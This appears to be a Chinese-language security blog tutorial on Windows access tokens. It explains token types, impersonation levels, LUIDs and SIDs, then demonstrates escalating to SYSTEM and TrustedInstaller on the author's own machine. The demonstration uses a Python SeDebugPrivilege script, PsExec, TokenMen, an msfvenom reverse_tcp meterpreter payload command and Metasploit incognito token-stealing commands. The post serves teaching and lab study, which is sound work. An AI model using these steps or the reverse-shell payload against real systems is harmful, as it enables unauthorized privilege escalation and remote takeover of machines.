利用Windows Access Token提权

它是一个描述进程或者线程安全上下文的一个对象,包含了登陆会话的安全信息(比如各种SID)。当用户登陆时,系统创建一个访问令牌,然后以该用户身份运行的的所有进程都拥有该令牌的一个拷贝。这也就解释了A用户创建一个进程,而该进程没有B用户的权限。

两种类型的Token

  • 授权令牌(Primary Token),也叫做主令牌,与进程 (Process) 相关,用于交互会话登录(例如本地直接登录、rdp login 、psexec),代表用户的完整登录会话,用于启动新的进程。
  • 模拟令牌(Impersonation Token),也叫做模拟令牌,与线程 (Thread) 相关,用于非交互登录(利用net use访问共享文件夹,或者wmi、winrm等等),用于一个线程临时“冒充”另一个用户的安全上下文,从而以该用户的权限访问资源。

当用户交互式登录时(如本地登录、RDP),系统会生成一个主令牌(授权令牌) 。同时,系统会利用这个主令牌在内存中创建一个名为 winlogon.exe 的进程。

当用户注销时,与该用户会话关联的所有进程(包括拥有主令牌的进程)都会被系统终止。因此,该用户的主令牌(授权令牌)也随之被销毁

但是,如果该用户曾经通过非交互式方式(如 net use、WMI、计划任务等)建立过连接,这些连接会生成模拟令牌。在某些情况下(尤其是对于像域管理员这样的高权限账户),即使用户注销,这些模拟令牌可能仍然保留在系统的内存中,而不会被立即清除,只有在重启机器后才会清除 。

特征 主令牌 (Primary Token) 模拟令牌 (Impersonation Token)
关联对象 进程 线程
创建场景 用户交互式登录(登录、RDP、RunAs) 线程模拟一个客户端的安全上下文(如访问网络共享、通过WMI执行命令)
代表身份 进程的所有者 线程正在模拟的客户端用户
权限级别 通常具有用户的完整权限 权限可能被限制(取决于模拟级别)
生命周期 从登录持续到进程结束或用户注销 从线程开始模拟持续到线程结束或停止模拟
典型用途 启动应用程序(如打开notepad.exe) 服务处理客户端请求时,临时“扮演”该客户端去访问资源

模拟级别 (Impersonation Levels)

模拟令牌有一个重要的属性叫“模拟级别”,它决定了线程使用模拟令牌的能力:

  • Anonymous: 模拟者无法获取客户端的身份信息。
  • Identification: 模拟者可以获取客户端的身份(如SID),但不能模拟客户端。
  • Impersonation: 模拟者可以在本地系统上代表客户端访问资源。
  • Delegation: 模拟者可以在本地和远程系统上代表客户端访问资源(权限最高)。

TOKEN的产生

每个进程创建时都会根据登录会话权限由 LSA(Local Security Authority) 分配一个Token,如果在调用CreateProcess时显式指定了一个Token,则使用该Token;否则,新进程将默认继承其父进程的Token。

进程的身份标识:Luid与SID

Luid

每个特权常量字符串(Privileges)都对应一个LUID(本地标识符),使用LookupPrivilegeName函数将LUID转换为其对应的字符串常量,总计是36个特权,所以LUID有36个(0x24),所有特权如下:特权常量

image1

SID

SID是安全标识符,是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。它用来跟踪每个账户,而且永远不会更改,即使我们更改了管理员的名字它也不会变。

SID的构成如下:

1
S-版本号-(颁发机构:Identity-Authority)-(子机构:SubAuthority)-RID

赋予当前进程操作令牌DEBUG权限

很多操作一般都需要赋予当前进程操作令牌权限:SE_DEBUG_NAME,然后再进行令牌操作,比如清除令牌、伪造令牌,在加载驱动的时候如果要连接驱动是需要Debug权限的,否则无法进行createFile生成驱动句柄。

比如很常用的猕猴桃的privilege::debug,就是为了获取SE_DEBUG_NAME权限。

目标: 获取一个启用SE_DEBUG_NAME的CMD。

步骤:

  1. 获取当前进程令牌
  2. 查找 SeDebugPrivilege 的 LUID
  3. 启用 SE_PRIVILEGE_ENABLED 属性

思路:我们可以给当前的python进程赋予SE_DEBUG_NAME权限,然后起一个CMD的子进程,这样CMD就会继承python进程的权限了。

下面的代码需要以管理员身份运行python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import win32security
import win32api
import subprocess


def enable_debug_privilege():
try:
# 获取当前进程令牌
hToken = win32security.OpenProcessToken(
win32api.GetCurrentProcess(),
win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY
)

# 获取SE_DEBUG_NAME特权LUID
privilege_id = win32security.LookupPrivilegeValue(None, win32security.SE_DEBUG_NAME)

# 启用特权
win32security.AdjustTokenPrivileges(
hToken,
False,
[(privilege_id, win32security.SE_PRIVILEGE_ENABLED)]
)
print("[+] SE_DEBUG_NAME privilege enabled successfully")

except Exception as e:
print(f"[-] Failed to enable debug privilege: {e}")


enable_debug_privilege()
print("[+] Starting cmd with debug privileges...")
subprocess.Popen("cmd.exe")

我们可以通过whoami /priv | findstr "SeDebugPrivilege"命令来查询运行该命令的进程的令牌

image2

可以看到直接以管理员开启cmd,SeDebugPrivilege是禁用的。

image3

运行上述脚本后,成功开启了SeDebugPrivilege这个特权。

获取一个SYSTEM权限的CMD

直接用微软官方提供的工具,PSTOOLS:https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools

以管理员身份运行一个CMD,然后输入一下命令:

1
PsExec.exe -s -i cmd.exe

image4

利用Token提权到Trustedinstaller

刚刚我们获得了一个system权限的CMD窗口,这样我们就能任意操作我们的系统了吗?

例如在C:\Windows\servicing文件夹内,哪怕是system权限,我们甚至不能写一个文件进去。

image5

又例如在C:\Windows\System32文件夹内,要删除这个图片文件,提示说 “你需要TrustedInstaller提供的权限才能对此文件进行更改”。

image6

image7

在属性里,也只有TrustedInstaller权限才能对其进行修改,其他只有读取权限。

什么是Trustedinstaller权限?

TrustedInstaller权限,准确来说,是Windows系统中的一个安全主体。你可以把它理解为一个特殊的“用户账户”或“管理员之上的管理员”。

它的核心作用是:作为Windows文件、注册表键值等系统资源的“所有者”和最高权限控制者。

在Windows Vista及之后的版本中,微软引入了它来替代旧系统中无处不在的SYSTEM权限,旨在实现最小权限原则,进一步提高系统的安全性。

如何获取Trustedinstaller权限?

原理:启动TrustedInstaller服务会启动进程TrustedInstaller.exe,位置为C:\Windows\servicing\TrustedInstaller.exe,然后与上面提到的token一样,借用TrustedInstaller.exe的token创建子进程,这样子进程就有了TrustedInstaller权限。

方法一:TokenMen

https://github.com/Yair-Men/TokenMen/releases/download/TokenMen_x64-v2/TokenMen.exe

在SYSTEM的CMD中:

1
2
sc start TrustedInstaller
TokenMen.exe <刚刚运行TrustedInstaller服务的pid进程号> cmd

image8

然后弹出一个新的cmd窗口,使用whoami /all可以看到我们已经属于TrustedInstaller组了。

image9

测试echo 1>1.txt

image10

可以看到刚刚不能写的目录,现在可以写了。这个文件除了TrustedInstaller组以外的用户都无权修改。

image11

方法二:使用MSF中的incognito

这边先用MSF拿一个本机的shell。

image12

先生成一个木马:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.25.32.227 LPORT=44444 -f exe -o test.exe

image13

然后在本机以管理员身份运行木马。

image14

成功链接。

在Metasploit中,可使用incognito实现token窃取,常用命令如下:

  • 加载incognito:load incognito
  • 列举token:list_tokens -u
  • 查看当前token:getuid
  • 提示至system权限:getsystem
  • token窃取:impersonate_token "NT AUTHORITY\\SYSTEM"
  • 从进程窃取:steal_token <进程pid>
  • 返回之前token:rev2self or drop_token

执行getsystem获得system权限:

image15

或者执行impersonate_token "NT AUTHORITY\\SYSTEM"将权限切换至system。

image16

在获取system权限后,根据相同的思路,窃取TrustedInstaller进程的token,然后提权。

首先使用ps命令获取TrustedInstaller进程的PID。

image17

然后窃取token:steal_token 16312

image18

可以看到成功提到TrustedInstaller了。

其实方法还有很多,但核心思路就是令牌窃取,利用别的进程的token创建子进程,这样子进程就有了对应进程的权限。

参考文章:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8


利用Windows Access Token提权
http://example.com/2025/10/02/利用WindowsAccessToken提权/
作者
Infernity
发布于
2025年10月2日
许可协议